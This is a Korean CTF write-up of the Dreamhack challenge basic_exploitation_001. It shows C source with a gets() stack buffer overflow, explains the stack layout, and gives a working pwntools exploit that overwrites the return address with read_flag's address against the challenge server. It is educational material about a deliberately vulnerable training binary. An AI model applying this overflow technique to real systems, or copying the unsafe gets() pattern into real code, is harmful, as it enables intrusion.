Dreamhack/Pwnable
[Dreamhack] basic_exploitation_001
h34hg0
2023. 4. 2. 14:32
문제
문제에서는 basic_exploitation_001, basic_exploitation_001.c 파일을 제공한다.
basic_exploitation_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag()
{
system("cat /flag");
}
int main(int argc, char *argv[])
{
char buf[0x80];
initialize();
gets(buf);
return 0;
}
풀이
main 함수를 보면 0x80 크기의 버퍼를 생성하고, gets함수를 통해 buf에 입력값을 저장한다.
gets 함수는 버퍼 오버 플로우에 취약하므로 이를 이용하여 main 함수의 .return address의 값을 바꿀 수 있다.
read_flag 함수가 플래그를 출력해주는 함수인 것을 알 수 있다.
따라서 gets 함수의 취약점을 이용하여 main 함수의 return address를 read_flag 함수의 주소로 변경하여 flag를 구할 것 이다.
먼저 gdb를 이용하여 read_flag의 주소를 구해보자.
read_flag의 주소가 0x80485b9 인 것을 알았다.
pwntools 을 이용하여 공격을 해보자
exploit.py
from pwn import *
http = 'host3.dreamhack.games'
port = 18890
p = remote(http, port)
payload = b''
payload += b"A"*132
get_shell = 0x80485b9
payload += p32(get_shell)
p.sendline(payload)
p.interactive()
버퍼의 크기는 0x80 = 128 바이트 이다. 여기에 문제의 정보중 운영체제가 x86임을 알려주었으므로 bp의 크기는 4바이트가 된다. 따라서 132바이트를 아무 값으로 채우고, read_flag의 주소 값을 리틀엔디언 (p32) 으로 넣어준다.
main | |
return address | 4byte |
ebp | 4byte |
buf | 128byte |
이제 페이로드를 완성했으므로 sendline를 통해 공격을 하면 flag를 확인할 수 있다.